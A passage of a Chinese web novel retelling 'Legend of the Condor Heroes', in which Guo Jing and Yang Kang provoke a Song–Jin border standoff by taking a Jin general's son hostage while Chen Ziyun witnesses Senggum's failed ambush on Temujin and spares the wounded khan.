要是换做从前,金国是懒得留活口的,但是这次领队的是金国边境将领的小儿子,这位少将军不但勇武过人,是大将军的心头宝,而且恃才放旷,非要活捉一个斥候队长,要从对方口中套出一些消息来,才显得自己本事。 而这个倒霉的南宋斥候小队队长,正是那位死了弟弟,贪了郭靖杨康两人军功的那位。 也不知为何,这位队长明明可以凭借着上次军功,让自己往上挪一挪,对方却非要把这份荣耀给了他那个死去的弟弟。 好让在家的弟媳妇与侄子,领了一份远远超出正常南宋军士阵亡补贴的份额,甚至还给那位差不过可以上学的侄子,谋划到了一个可以进入高等学院的名额,要是那位侄子争气些,说不好他们家就要出个当官的人物了。 这就是这位队长,宁可回到朝不保夕的战场厮杀的原因,他牺牲了自己的前途,为自己的那位弟弟的后人,谋了个光明未来。 郭靖当时并不知道这位队长的小心思,后面还是杨康通过他凭着自己本事交好的高级军官那里得来的消息。 当时郭靖听杨康这般的说,立即将心中对这位队长的不满变成了肃然的敬意,对于郭靖来讲,高尚的人格是他最值得仰望的。 杨康虽然也对这位队长刮目相看,却并不赞同对方的做法,在他看来,与其期待一个十几年后才可能带来收益的投资,还不如让队长直接跻身军队中层。 虽然此时武将的地位还不如文臣,但是按照他对赵茵萝这位女帝师娘的了解,南宋武人的地位肯定是要继续提高的,而他们这一批刚好赶在风口上的武将,将来必定能在朝堂上独树一帜,与那些顶级的文臣分庭抗礼,重现唐时文武并举的盛况。 可惜,这位队长不过是个普普通通的从小兵摸爬上来的斥候小队长,文贵武低的心理已经深深烙印在了内心,要他相信这样的变化是不可能的。 所以,杨康也能理解对方迫切的要将自己侄子送进那个有望成为文官的高等学院。 “康弟弟,我们去救队长。” 郭靖说出这句话,就像是要去自己家的后院捉鸡一样自然。 “什么?” 杨康满是错愕的瞪大了自己的眼睛。 “队长照顾了我们这么久,我们不能看着他被抓,我们一起去救他。” 郭靖神情郑重的解释道。 “凭什么?” 杨康还是不能理解郭靖的想法,对于这个总是慢自己一拍的兄长,他有时候会因为对方的思维太直而跟不上节奏。 “当然是凭我们的武功,只要我们一起,就算是金军大营,我们也能闯一闯。” 郭靖捏着拳头,就好像他学的拳法一样,一旦碰到了这人间不平事,自然就有他出拳的理由。 “我……” 杨康心说,我要说的不是我们凭什么,而是那位贪功的小队长,凭什么要让他们两人冒死去救。 要说对方有什么重大的军事价值,宋金两军自从对峙以来,每天都总要死一个这样的不起眼的斥候小队长。 要说对方有什么高贵的道德素养,不过是众多的贪功冒进的斥候之一,为了自己家族的兴旺,就将一帮自己队员带进不知道能不能回来的境地。 杨康实在想不出任何理由,为什么要让自己深入险地去救这么一个没有什么价值的。 “我去跟将军说,只要让将军安排人在我们成功后,在外摇旗呐喊制造进攻的假象,我们就一定能突破重围出来。” 郭靖以为杨康没有反对,就是同意了自己的想法,在他看来,小队长在带领他们的时候,还是对他跟杨康很是照顾的。 而且,对方把军功都让给了弟弟,而没有留给自己,这就是一个好大哥的表现,这让他想起自己父亲在他离家前嘱咐自己。 要时刻关照康弟弟,自己是做哥哥的,要保护好康弟弟,这是他的责任。 所谓感同身受,最是让人动感情。 “等等。” 杨康拦住了就要去找将军的郭靖。 “郭大哥,如果你真的想救人,就不能让将军知道。” “为什么,将军平时那么关爱下属,他是不会看着队长就这样被捉走的。” 郭靖道。 “呼……” 杨康缓缓的呼出了一口气。 随后跟郭靖提示了一番,他们以前在赵茵萝的安排下学习过的关于行军打仗时,将军,兵士各自的职责。 让他明白,将军是不能因为一个士兵的牺牲而影响整支军队的调动的。 “那怎么办?” 郭靖只是比较迟钝,并不是不懂大局,有了杨康的提醒,他自然也就想明白了其中的关键。 “郭大哥,现在不是要知道怎么办,而是要确定,你到底想不想办。 这件事情并没有给我们太多的余地,队长落在金军手里,每拖延一刻钟,他就有可能被对方直接杀害的风险。 你要确定的是,你愿不愿意冒着死在金军大营的分险,也要去救对方。” 杨康言辞犀利的说道。 “这是自然,先生说过,舍生取义,吾辈楷模,既然是义之所在,郭靖绝不会退缩。” 郭靖郑重的说道。 “好,自然如此,那我们就闯这金军军营一趟。” 杨康道。 第三百三十六章 烫手山芋 “康弟弟,你?” “郭大哥,对于那位小队长,我并没有像你这样的感慨,但是既然你决定闯金营,我杨康自然是要紧随其后的。” “这……” 郭靖一来是高兴自己的康弟弟能跟他一条心,可随即又想到,可能会连累到别人,他那赴死的慷慨之心就有了几分忐忑。 杨康一把拍在郭靖的肩膀上,也不说话就是对着他笑,就像每次杨康被家里或者是学院里的老师教训时,郭靖对杨康做的那般。 …… 两只刚出笼子的幼虎,仗着自己的一时血气方刚,可以说是大闹了一场金军的大营。 凭借着高超的武艺,金军营中无人能及的速度,要不是两人救人之后大意的暴露了自己,说不定金军中被耍了一圈,还不知道是怎么回事。 可惜,要在万军之中带走一个已经被折磨的不能动弹的人,还是大大的绊住了他们的脚步。 直到被发现,小队长被赶来的金军乱箭射死,郭靖奋勇阻挡,也被在手臂上射了一箭,要不是杨康见机不妙,挟持了一位赶来围剿他们的年轻将领,他们恐怕就真的要葬身在金军大营里了。 好巧不巧,那位被杨康劫持的,正是那位捉了小队长的少将军,此人建功心切,一心想着要在自己的父亲面前露脸。 本以为这次不仅能捉到一个南宋的斥候小队长,还能将这两个不知道天高地厚的来救人的家伙一起拿下,再建一功。 他是万万没想到,对方竟然有这远超常人的功夫,让他一时间就被其中的一个小子给逮住了。 杨康就这么将这位少将军作为挡箭牌背在背上,挡在郭靖的后面,一溜烟的冲出了金军军营,等赶来的将军发现自己的儿子被绑走了,直接大军开拔就往南宋军队驻扎处逼了过来。 一场大战,一触即发。 当杨康发现自己后面的金军,锦旗招展,全军开拔的场面,也意识到了问题。当从自己随手俘虏来的人物口中得知对方的身份,就连他这个向来被称作多智的小军师一时也没了主意。 只能连忙先赶回南宋军营,通知主将做好准备。 当郭靖杨康将这件事情的来龙去脉交代清楚,南宋的主将第一时间就将他们四个人都一起收监了。 不管是哪位小队长,俘虏,还是郭杨两人,在主将眼中,他们就是挑起了这场可能直接决定两国此时命运的大战的罪魁。 要不是自己上面有人暗示过,这两个小家伙的身份不一般,主将连杀人的心都有了。 自己领到的任务可是保持宋金边境的稳定,如今看金国的声势,这要是打起来,不管输赢,他都是先要被问个不遵军令的大罪的。 别说好不容易得来的前途,就是小命都可能被葬送在这里。 …… 当赵茵萝接到前线的加急情报的时候,差点就把在怀里酣睡的小白的狐狸毛给揪下来了。 “吱吱……” 在小白的惊声尖叫中,赵茵萝明白自己必须要做出抉择了。金国的将领跟他们南宋的那些习惯了听话的将军可不同。 为了自己的儿子,他们可是敢直接违抗金章宗的命令的。金国的军队本来就还存在着家族继承制的遗风,本来这样的编制是为了加强军队的凝聚力,方便统帅的指挥。 可同时,当国家的军队一直无法摆脱军人世家的影响,按这军队也就要有私家军队的倾向。 所以,发生继承人被抓的事情,足够这支军队的将领不顾一切发动战争的理由。 赵茵萝也知道,此时的前线事态紧急,容不得她有半点迟疑,直接将便宜行事的权力下放给了军队的将领。 并且直接说明了郭靖杨康两人的身份,一来是保证这两个小家伙不至于再被当做无名小卒而被派遣到冲锋杀敌的第一线。 二来,也是要让他们发挥他们自己的本事,好好帮着军队的将领,将他们自己闯出来的祸事给摁在边境上。 “两个小王八蛋,来这么一出,那你们师傅辛辛苦苦在蒙古布局不是都白费了力气!” 这也是让赵茵萝最气愤的地方,她知道陈子云的计划是先以金国为屏障,以此来对抗蒙古草原的强势崛起。 可如今,本来保持着相对克制的宋金边境线,大战一触即发,让他们的计划直接付之东流。 “既然如此,那就……” 赵茵萝思索着,似乎在下一个决心。 作为这天下千年以来唯二的女帝,赵茵萝比别的皇帝更有要做出一番成就来的决心,她要让这天下都不得不正视她这个女皇帝。 既然事情已经发展到了如此境地,那么再纠结于以前大策略已经毫无意义,她要做的是利用现在的形式,将南宋的国家利益寻找到其他的可实现的方向。 …… 郭靖站在城头,看着脚下连绵不绝的金军朝着他们围攻而来,他突然那有些怀疑,自己当初是否真的做错了,不应该因为自己的一己之私给同军的将士带来这样的灾难。 如果可以,郭靖他绝对愿意,用自己的牺牲去换回往日的相安无事,因为从军之后的他知道,这样的场面,不管宋金两国谁输谁赢,他身后的那些普通士兵将洒血疆场,马革裹尸。 “郭大哥,你做的并没有错。金国与我大宋之间,早晚要分个胜负输赢的,就算现在不打,将来也是逃不过的。” 杨康艰难郭靖的脸上阴郁的表情,就开口安慰道。 “康弟弟,我……” “郭大哥,现在不用再懊悔过去了,眼下如何帮着将军,将这些金军赶走才是我们要做的。” 杨康不想让郭靖沉浸在自责中,避重就轻的将对方的思绪拉回现实的棘手问题里。 “碰。” 郭靖一拳砸在城墙之上,一块厚重的城砖顿时裂开了缝隙来。 …… “宋人,赶紧将我们少将军还来,要不然我金国大将军今日就要踏平你们的城寨。” 金军中一骑披着盔甲的看似是军中小将的人物,扯着大嗓门往南宋的城楼上呼喊着。 第三百三十七章 诡计 宋军城头人头攒动,纷纷在猜测对方说的是什么意思,没办法就算金国如今已经是基本汉化了,可说的话依旧有浓重的地方口音,南北两地的人基本只能靠猜的。 也就是杨康这个博闻多识的家伙,能大致听明白什么意思,赶紧翻译给领军的大将听。 “哼,老子跟金狗打了半辈子的仗,难道还能听不懂他们说什么?” 将军显然是还对于杨康跟郭靖这俩小子犯下的混账事耿耿于怀。 “是,是,将军当然是听得懂的,是小子自知犯了错,心急之间就想着怎么弥补了。” 杨康直接低头哈腰做认错状。 “嗯。” 将军见了杨康的低姿态,再想到这两个小子背后可能有大靠山,也就不好再继续捉着这件事情不放了,因为话说回来,虽然两个小子做的事情违背了大战略,可要是换做一般的战场,能够为了营救队友以身犯险的,怎么也是应该表彰才对的。 何况,这两个小家伙,还阴差阳错的将对方的少将军给抓了回来,要是自己提前知道这个消息,说不得还能好好布置一下,将对方的赶来的大军引入套中,可惜了,对方来的实在太快,连反应的时间都没有留给他。 “祸是你们闯的,现在人家找上门来了,你们打算怎么应对啊?” 将军算是和气的问道。 “将军放心,我这就带人出城跟你敌军交战,只要郭靖不死,金人就休想踏进城池一步。” 郭靖直接挡在了杨康的身前,他愿意承担一切,哪怕身死。 将军瞥了郭靖一眼,他也看出来了,这个憨头憨脑的年轻汉子,就适合做个冲锋陷阵的猛将,勇武过人,要说智谋取胜,那就有些强人所难了。 “你也是这么想的?” 将军把脸朝向杨康问道。 “嗯,郭大哥说的当然也是个办法,不过这是最后不得已的办法,要是让我说……” 杨康委婉的承认了郭靖,但是对于自己退敌的计划却还是欲言又止,不是没有把握,就是心中的想法还没有彻底的成熟。 “都这时候了,还给我来这套,有屁快放。” 将军的音调直接高了一个八度。 “是,将军勿恼,既然对方是为了那个少将军来的,那不如就将人还给他们……” “屁话,臭屁,大臭屁。” 将军不等杨康说完,直接就喷出了大把的口水,毫不留情的在两人面前肆意挥洒。 “你这是什么馊主意,这也算是主意。” 将军的手指已经快戳到杨康的脑袋上了,要不是杨康见机够快,稍微晃了晃脑袋,躲了过去。 “一个到手的俘虏,对方不想着私底下提出交换条件,就这么明目张胆带着人马来城下要人。 这是要人的方法吗,这明显就是冲着打击我军的士气来的。要是我服软了,答应了,那这仗以后还打不打? 这队伍以后我还带不带,这城池我们还守个屁,还不如直接脱了这一身战袍,回家抱孩子去。” 将军的愤怒随着这一趟子话语的说出,也渐渐的平息了下来,杨康惦着脸缓缓再次靠近,也顾不得脸上会不会被这位激动的将军喷的满是口水。 “将军威武,既然如此,那这人自然是还不得的,那我们不如还一半。” 杨康说的话让人摸不到头脑,这还人怎么还有还一半的。 “小子,少给我打哑谜,还一半到底是个什么说法?” 将军沉着脸问道。 “嘿嘿。” 杨康看了将军以及同样好奇的郭靖一眼。 “将军,金人竟然要他们的少将军,那我们就把人带出来,总不能让他们远道而来,却连面都见不到。 我们就在这城墙上搭个台子,就高出城墙一丈左右,将这位少将军绑在台子上,好让对面那心急如焚的金军将领知道,他儿子还活着,活的好好的。 当然,这城墙上风大,为了不让这位少将军着凉,我们就在这台子下面铺一些甘草和柴火,最好再淋上一些火油,嘿嘿……” 杨康最后这一声轻笑,听得旁边的两人都有些毛骨悚然。 “好,哈哈哈,好啊,好个投鼠忌器,小子,你的鬼心思不错。” 将军二话不说,直接就采纳了杨康这算不上正道的诡计,反倒是郭靖,总觉得这样做有些违背自己的良心。 “郭大哥,两军交战,无所不用其极,你别忘了,队长和那些跟我们一起的队员,可是都死在了对方手里的。” 杨康直接捉住了郭靖的弱点,这个理由足够让对方放下心中的不忍心了。 “康弟弟,我知道了。先生也说过,战场上的规则不应该跟平时遵守的底线混在一起。” 郭靖点头道。 …… 不久,一个木头搭建的平台就在南宋城墙上出现了,高过一丈,全部用木桩堆叠而成,下面还铺满了干草火油。 一个被捆绑的严严实实的男子,被绑在了高台上的十字木桩上,那一副虚弱的摸样,看来在上城墙之前,一定是也受到了相当暴力的对待。 南宋的守城军士一下子还不知道自己家的将军是在搞什么名堂,就见城下那些本来已经准备攻城的金军,直接被叫停了脚步。 不过,那义愤填膺的摸样,那嘴巴张合之间就能明白的谩骂,让所有人都知道,显然就是这个被绑上来的半死不活的家伙,彻底的惹怒了他们,同时也让他们忌惮的不敢上前。 “哈哈,金狗软了,被栓住了。” 有些脑子转的的快的南宋军士,立刻就明白了过来,这位被绑着的,想必是对方的重要人物,如此才能让蓄势待发的金军如此投鼠忌器。 “哦哦哦……” 有了聪明人的提示,所有人都明白过来了,纷纷开始起哄,呼喊起来,以此来发泄刚才被金军那种气势压迫住的郁闷之情。 “走。” 杨康招呼在一旁愣着出神的郭靖。 “嗯,去哪里,现在不是?” 在郭靖看来,如今正是两军对垒的关键时候,怎么可以擅自离开城墙呢。 “郭大哥,别急,这场仗一时半会儿打不起来,我们还是先回营帐去,吃饭休息更要紧。 要不然等真的打起来的时候,身上不仅伤没好,还没吃饭,又没力气,那才是糟糕的呢。” 杨康说完就直接拉着郭靖下了城墙。 …… 第三百三十八章 虎头蛇尾 “混蛋,他们怎么敢,怎么敢,我要杀了他们,我要将它们活捉,将它们绑起来,将它们活剐了示众。” 金国将军在看到自己儿子被绑上那座高台的时候,就彻底的被激怒了,他无法接受自己最看好的儿子,他年内定的接班人,竟然就这么被宋军用这样羞辱人的方式,将最难看的一面展现在了自己的大军面前。 这让自己儿子以后还怎么在这些属下面前抬得起头来,以后还怎么从自己手里接过这个军队的统治权。 要是他们家族手里没有了军队,那他们在金国的地位又如何得以保证,在这个纷乱的时代。 作为金国数得上号的,手中握有兵权的将领,早就看透了,官位跟皇帝的宠幸都是假的,只有自己手上的兵权才是真的。 只要他们家族能将这支军队的兵权继续传承下去,就不怕在金国没有地位。甚至,就算金国真的不行了,那换做南宋,换做其他的什么国家都行,只要自己有这样的实力,就不怕君王不重视。 可如今,自己的希望,家族的希望,就被这帮该杀千刀的宋人意最不能接受的方式被毁了。 要是这世界上有后悔药,金国将军绝对不会因为一时的愤怒就这样率大军来,他并不是不懂的妥协的莽夫,他也可以跟宋军谈判。 不管是要花费多少,不管是要让他退后十里,还是要让他…… 金国将军,现在连肠子都是青的。 可不管他现在有多么的不情愿,还是只能将自己的心腹手下召唤来,商量如何营救自己的儿子。 只要不是让他直接叛逃,什么条件都可以商量着来。 …… 宋金边境的这一场大战终究还是没能打起来,不是因为南宋这边及时派出了支援的部队,而是金国这边,在一听到前线将士准备擅起战端,金章宗第一时间就直接下旨斥责了。 旨意里说的很明确,别说是将军的一个儿子被抓了,就是他老娘被抓了,也绝对不能开战,否则他就将对方留在汴京城中的所有儿子都杀光。 金国将军在收到这份旨意之后,瞬间就怂了,他其实也是一时的冲动,才忘了前面跟宋军的交锋中他们一直处于弱势的事实。 如今宋军将自己的儿子绑在城头,让自己的军队投鼠忌器,根本不敢发起进攻。 而且一支军队的少将军被抓,本来就是极为打击士气的,加上金章宗的这份旨意,就算金国将军平时再嚣张跋扈,也明白,此时的情况容不得他胡来了。 “派人去宋营,谈判。” “是。” 这是最后的办法了。 …… 陈子云拿着手里的情报,有些哭笑不得的看着郭靖杨康两个小子胡闹,好好的一场国战,怎么被这两个小子闹得跟过家家似的。 不过结果总算是好的,起码他们既定的计划不用大改,跟金国保持对峙,尽量不消耗对方的国力,等蒙古这边顶不住了,再考虑是让金国当替死鬼,还是联合起来一起对抗蒙古。 如今陈子云不但成了王罕部落的座上宾,因为他相对这个时代更为朝前的知识,以及早就准备好的在蒙古草原上还算实用的政策,已经取得了王罕父子的认可。 虽然桑昆眼中总是带着嫉妒与防备,但王罕这个曾经的霸主还是能分得清主次的,对于陈子云的厚待已经能让任何一个谋士铭感无内了。 不过陈子云知道,要是这些政策能够真的在王罕的部落里不打折扣的执行,那么只要有个两三年的时间,他们就能看到成效,再过个四五年,他们就能恢复往日的强势。 要是真的有十年以上的时间,那别说是铁木真,就是金木真也没法与他们对抗了,可惜了,时间不等人啊,今天已经是铁木真送女儿来完婚的日子了。 没有了郭靖这个金刀驸马的插在中间,铁木真的女儿对于这场政治联姻也就没有那么大的排斥心理了。 铁木真虽然有吞并王罕部落的野心,但是现在不管是为了自己的名声考虑,还是两个部落之间还存在着实力的差距,他都没有做好发动战争的准备。 他现在的计划是接住自己女儿的出嫁,暂时稳住王罕部落,等他将那些小部落都吞并了,进一步壮大了实力,到时候再与王罕部落来一决雌雄。 可如今铁木真的的行事,在草原上已经是司马昭之心路人皆知了,哪个部落不是担心这这位下手狠辣草原雄鹰不知道哪天就看上了自己的部落。 所以,那些大大小小的部落,要么就是迁徙的远远的,要么就是来投靠了王罕部落,希望这位老牌的草原王者能庇佑他们。 本来按照王罕的守城个性,是不希望跟铁木真这个义子兵戎相见的,可是看到草原上这些小部落对于铁木真的恐惧,他也不得不思量,这个从小就表现的一种不同的义子,是不是终有一天也会对他的部落感兴趣。 而自己的儿子,桑昆从小就与铁木真不对付,现在铁木真有了这样的成就与威望,更是嫉妒的发了疯,总是撺掇着王罕去讨伐铁木真。 这也是为何,王罕要促成自己的孙子与铁木真的女儿联姻的原因,在他这位老牌草原王者看来,共同的血脉是联系两个部落最为关键的要素。 有了这场小辈的婚姻,铁木真无论如何都不会再动要吞并他们部落的心思了。 “可惜了。” 陈子云自然是看穿了这两父子,或者说是草原上这两代人的价值差距,老一辈还在守护那个所谓血脉维系的文明,而下一代已经是如同古时春秋那般,早就礼崩乐坏了。 在铁木真与桑昆这代人眼中,一切都以自身的利益为前提,以前的那一套行为准则早就成了被贴在帐篷顶上的教条,看看可以,真按照那些执行,就是自掘坟墓。 所以,铁木真之所以嫁女儿,只是为了给自己的霸业争取时间,而桑昆之所以答应这门亲事,他不过是请君入瓮,要在铁木真最开心的时候将他直接拿下。 事关机密,桑昆的策划打算在华筝与都史的婚礼上发动突袭,这件事情自然是越少的人知道越好。 第三百三十九章 乱 除了那些绝对忠诚于自己的属下,就算是连自己的儿子都史跟父亲王罕都没有告诉,就更不用说他始终怀着戒备的陈子云了。 在这件事情上,陈子云却是要夸一句桑昆,是个枭雄的个性,为达目的不择手段,连自己的至亲都能骗。 就是不知道,这次没有了郭靖的参合,铁木真还能不能逃出升天。 当然,如果顺手的话,陈子云也不是不能补上一手,铁木真的死虽然会有诸多的不可知性,但是如果能让草原乱上一阵子,就就算是达成他这趟来这里的目的了。 但也他也不能明目张胆的动手,要是被王罕发现了,自己暗算他的义子,不管后面桑昆会不会把事情都推到他身上,估计他要安然的离开王罕部落也是不可能了。 虽然陈子云自视甚高,可如今他正处于王罕部落的绝对中心,此时铁木真与王罕部落的精英可以说是聚集了整个蒙古草原的精英。 就算陈子云再孤傲,也不认为能一个人面对整个蒙古的追杀还能安然的突出重围。 何况还有李埋跟一些其他的人在,自己也不能弃他们于不顾。 听着外面已经开始的喧闹,陈子云拿起身前的茶碗,小小的茗了一口,头脑中飞快的做着各种选择的猜测与对可能的结果的复盘。 …… “活捉铁木真。” “保护大汗。” “什么事情,是谁在作乱?” “有人叛乱了……” 混乱开始了,陈子云已经命令李埋不要离开自己的营帐了,他们的面孔天然的就不被两边的人认可,要是被夹在中间被误认为是对方的人,那可就真冤死了。 陈子云无声无息的站立在自己那顶帐篷顶端的固定柱上,俯视着整个已经混乱的部落营地。 本来被故意安排在靠营地最角落一边的铁木真的送亲队伍,此时虽然有些急躁,却说不上乱,在那些带兵经验丰富的将领的统帅,朝着王罕部落的中心靠近,因为他们得到消息铁木真就被困在了这里。 而此时的混乱中心离陈子云这边却是近的很,要不是没有人习惯往自己的头顶看,陈子云早就被发现了。 而诡异的是,本来应该是插翅难逃的铁木真,却突然的不见了,而且是在中了桑昆一刀之后,在满营地的慌乱中,不知道藏到了哪里去。 陈子云扫视着四周,对于这位能一统蒙古,还能为将来子孙占领半个欧亚大陆打下基础的盖世豪杰,他自然是有着几分兴趣的。 要是换做自己,在此时铁木真的状态下,能想到什么办法脱困。当然不是凭着自己的盖世武功杀出去,对方虽然能弯弓射雕,但绝不至于有他这样的武力。 而且相比于征战沙场的能力,铁木真之所以能收服整个蒙古草原,最重要的还是他的战略思维,以及卓越的领导天赋。 “莫非是趁着众人不注意,装扮成普通的王罕部落士兵,蒙混出去了?” 陈子云越想觉得越可能就是这样。铁木真不会在这样的弱势情况下硬来,而且他本来就是王罕的义子,对于王罕部落也是十分熟悉的,只要能找到合适的衣服,在这样慌乱的情况下,没有人能真的认出来,旁边匆匆跑过的人是谁。 不过此时铁木真带来的那些家伙,也没让王罕部落的人好过,虽然人数是差了很多,但是这些都是跟着铁木真南征北战出来的真正精英,对付王罕部落的这些人,一挡十夸张了些,但是一对三却是没问题的。 本来正指挥着人寻找铁木真的桑昆,见到越来越不受控制的场面,也只能先调派人过去镇压了。 毕竟铁木真再厉害,也不过是几个人,那边要是乱起来,那自己后面可就不一定能压制得住了。 而且这里毕竟是他们部落的中心所在,要是这里被打烂了,那他们就算是杀了铁木真也是损失惨重。 相比较铁木真那个靠掠夺才刚刚兴起的部落,王罕部落的积蓄显然是更胜好几筹的。 随着人员不断的调派,陈子云看着脚下混乱的场面逐渐平息,远处的那本来的动荡,也被慢慢赶出了部落营地所在。 “哎,因小失大啊。” 陈子云感慨了一句,就算是到了现在,铁木真的重要性还是没有人能真正的意识到。 不过站在桑昆的角度来看,也并没有什么错,以他如今的地位,本来就是蒙古草原上的太子爷,铁木真最多就算个不安分的小老弟。 因为对方可能威胁到将来的自己,所以才要出手对付他,可再怎么高看对方,也不会想到,就是这么一个靠着自己父汗才成长起来的小部落,将来会有一天能一统草原,完成旷古烁今的大业。 陈子云看着即将平息的乱象,也就打算下去了。 “哞……” 老黑的一声叫唤让陈子云一凛。 竟然是有人趁乱在拉着老黑,试图将他偷走。 陈子云瞬间就明白了,对方必然是铁木真的人,因为在王罕的部落里没有人不知道老黑的威力,绝不敢去冒犯它的。 看着那个明明是穿着王罕部落服饰的大个子,竟然还不愿放弃的跟老黑玩起了拔河,陈子云也不由得被他逗笑了。 难道这家伙,看不出体型如此悬殊的对峙,他怎么是有信心能拉得动老黑的。 不过陈子云也能理解,为什么对方会需要老黑,因为老黑此时正守着陈子云的车架,想到此时的铁木真肯定是被桑昆的那一刀伤的不轻,如果有这辆牛车,自然是能更好的送走铁木真。 “蠢货,这么明显的目标,不是给人当靶子吗。” 陈子云心想,应该是铁木真已经没有了意识,这些人急病乱投医,就想要尽快将铁木真送出去。 陈子云缓步来到老黑的旁边,那个壮汉已经是急得满头大汗,他起初在这黑夜中没有看清老黑到底有多大,可等他真的看清了,也没有别的办法,因为自己的大汗如今正等着救命呢,他只能就硬着头皮跟这大的离谱的大黑牛比起了力气。 当他拉着这黑牛的时候,感觉就是像跟一座大山较劲,不管自己怎么使劲,对方只是纹丝不动的站着,似乎连转个头都没有。 第三百四十章 铁木真 “嗯,怎么起来了。” 那壮汉突然发现自己本来拽着的大牛角竟然在上升,本来就壮的离谱的了黑牛这么一动,就真的像是一个蒙古包一般的高大了。 这是长生天的坐骑。 这是壮汉第一份感想。 “你要用的车吗?” 一个声音突然出现在了壮汉的耳边,激起了他满身的鸡皮疙瘩,本来他就在想一些神神鬼鬼的事,如今这突然出现的声音,连他这种在战场上鬼神不近身的人物也颤抖了。 “长生天在上……” “长生天,我可不是,不过倒是这牛车的主人。” 陈子云一时也不明白对方的意思,怎么自己就成了长生天了。 “您一定是长生天派来的使者,这样的坐骑只有长生天的使者才能驾驭,还请使者救救我的大汗,他是长生天的儿子,您一定要救他。” 壮汉直接就跪倒在了陈子云的面前,朝着他不断的磕头。 陈子云打量着这个在自己脚下的汉子,一时也搞不清对方是真的痴人,还是在忽悠他。 “铁木真还在这里?” “是。” “他受了重伤?” “是的。” “你想用牛车载着他离开这里?” “是的,使者,大汗如今已经昏迷,还请神使赶紧救救大汗。” 陈子云看着这张丑陋的脸上透露出来的真挚的关心与焦急,不能不让他暂时相信了他的说法。 “带我去。” “是,神使,那这……” 这壮汉还有些不甘的指指老黑。 “它要是去了,整个营地的人都会知道是你家大汗。” 陈子云道。 “这……是,神使,还请你跟我来,小心些,别被这些没胆子只知道用诡计的家伙给发现了。” 壮汉煞有其事的往旁边瞧瞧,现在根本没有人注意这里,他们都在紧张的听着调动的命令,那边好像跟铁木真的部队打起来,却是快被反攻进来了。 陈子云跟着这壮汉走了几步,没有像他意料中的钻进哪个帐篷里,反而是在一个角落里蹲了下去。 “大汗,大汗,你醒着吗?” 壮汉扶起一具躺在地上的尸体,没错,在陈子云的第一反应中,那个胸口流着血的,看上去就是一个被人重伤了的普通部落军士,竟然是铁木真。 “你就把你们大汗放在这样的地方?” 陈子云问道。 “不是的,神使,是大汗说一定要在这里的,不能进帐篷。神使,你先救救大汗,他伤的很严重。” 壮汉抱着铁木真着急的请求道。 陈子云看着那个近在咫尺的成吉思汗,拳头在背后紧紧松松好几次,心中却是不得不佩服对方,好胆识,好魄力,好智慧。 虽然不知道为何铁木真身边只有这个看着憨憨的壮汉,但是对方的选择必然是经过深思熟虑的。 要是铁木真但凡躲进了任何一张营帐里,不管他穿成什么样子,都不可能逃得过桑昆的搜查,也就只有将自己融进这满营的士兵堆里,才能真的保住自己的性命。 陈子云缓缓伸出手,抓住了铁木真的脉门。 “神使,我家大汗怎么样了?” 壮汉连忙问道,至于陈子云会不会医术,这自然是不用怀疑的,长生天的使者怎么可能不会呢。 脉象虚浮,铁木真如今确实是危在旦夕,只要陈子云此时稍稍用力,就能直接送这位未来的成吉思汗归天。 可有个问题,陈子云没想明白,为何铁木真的那些什么四骏、四獒、四弟、四子的,怎么可能一个都不在身边。 是料定了自己必然要身死,让他们先逃离了,还是另有计划。 “为什么就你跟铁木真在这里,他的那些属下呢?” “走了,都走了,桑昆小人暗算大汗,大汗告诫将军们,要是自己死了,不要哭,他不需要眼泪,需要千千万万的鲜血。 大汗让他们去带领部族,要跟着混账小人们算账,接着还要一统草原。总有一日我们部落能够一路杀向南方,把所有阳光能照到的地方,都变成蒙古人的牧场。” 壮汉满是憧憬的说着。 “哼……牧场,嘿。” 陈子云眼神阴冷的看着这个如今命悬一线的枭雄。 “不错,只有峨眉草原上的勇士才是这太阳底下的主人,天上是属于长生天的,这地上是属于勇士和牛羊的。 那些总是欺负我们的金人,都应该下地狱,他们没有资格跟我们草原上的勇士一起生活在阳光下。 杀光他们,将他们的女人都抢过来,将它们的儿子变成奴隶,将他们占有的土地变成我们的牧场。” 壮汉兴奋的说着,眼睛里是对于杀戮与战争的理所当然。 陈子云本来已经准备下手的心思顿时就熄灭了大半,是啊,成吉思汗的丰功伟绩可不只是统一了蒙古,更重要的是他已经激发起了蒙古草原上这些游牧民族的雄心。 他们已经不再是安于自己那一亩三分地的游牧部落了,他们的目光已经看向了更广阔的天地。 杀了一个铁木真,还有他的那些儿子,还有他的那些手下,那些家伙,可以说是一个比一个狠。 陈子云快速的在铁木真的身上点了几下,用真气帮着他已经开始衰弱的心跳恢复了节奏,一颗急救药丸塞入,又按摩了几下他的喉咙,好让他本能的吞咽。 “神使,大汗你能好吗?” 壮汉忐忑的问道。 “我不是什么神使,给铁木真吃的也不是仙丹。” 陈子云本来就有些不太情愿,顿时没好气的说道。 “是是是,神使,那大汗能……能活吗?” 壮汉问道。 “问你的长生天。” 陈子云也不再愿意理会他,直接一个闪身就离开了。 “神使……” 壮汉惊讶至极的看着真的如神仙一般消失在自己面前的人影,直接匍匐在地,久久不敢起身。 要说,刚才他是为了求人救自己的大汗,如今看见这般不是人间人物的神迹,却是真的有几分相信了。 陈子云回到自己的营帐,直接就把一张桌子给掀翻了。其实也可以理解,他本来这次远来蒙古,就是为了阻止铁木真的崛起而来的。 第三百四十一章 王罕的请求 显然他却发现,原来蒙古的崛起已经是注定了,不单单是一个铁木真的生死能决定的。 反而,如今铁木真手下的那些狂人,还有人能管得住,要是铁木真真的在这个时候死了,那些家伙估计直接就会血洗草原,然后接着就是南下。 陈子云有些不敢赌,一个有铁木真的蒙古帝国和一个没有领袖的见人就杀的疯狂的战争机器,到底哪个会对世界造成更大的悲剧。 …… 动乱的声音终究是平息了下去,也不知道铁木真是不是真的冲出了重围,他带来的你那些精英部队又死伤了多少。 直到陈子云被请进了王罕的营帐,看着王罕正用马鞭子往自己的儿子身上抽,桑昆就像是个犯了错的孩子,背上鲜血淋漓却是连躲闪都不敢。 陈子云扫了一眼营帐的四周,除了几个年纪跟王罕差不多的老者,就他一个是年轻人了。 不知这位昔日的草原王者,为何要把教育儿子的这一幕表演给自己看,显示他的不见外? “啊!” 桑昆在王罕的马鞭之下,终于是没有再能忍住,疼的叫了出来,王罕似乎也就是在等这一声叫唤,喘着气停下了手里的鞭挞。 “可是知错了,呼……呼……” 王罕终究是老人家了,这么剧烈的运动后,难免要喘息。 “阿爹,我知错了。” 桑昆的声音明显的在颤抖,那些伤口中已经渗进了他自己的汗液,实在是疼的他控制不住。 “好,既然如此。” 王罕点点头,语气终究是缓和了一些。 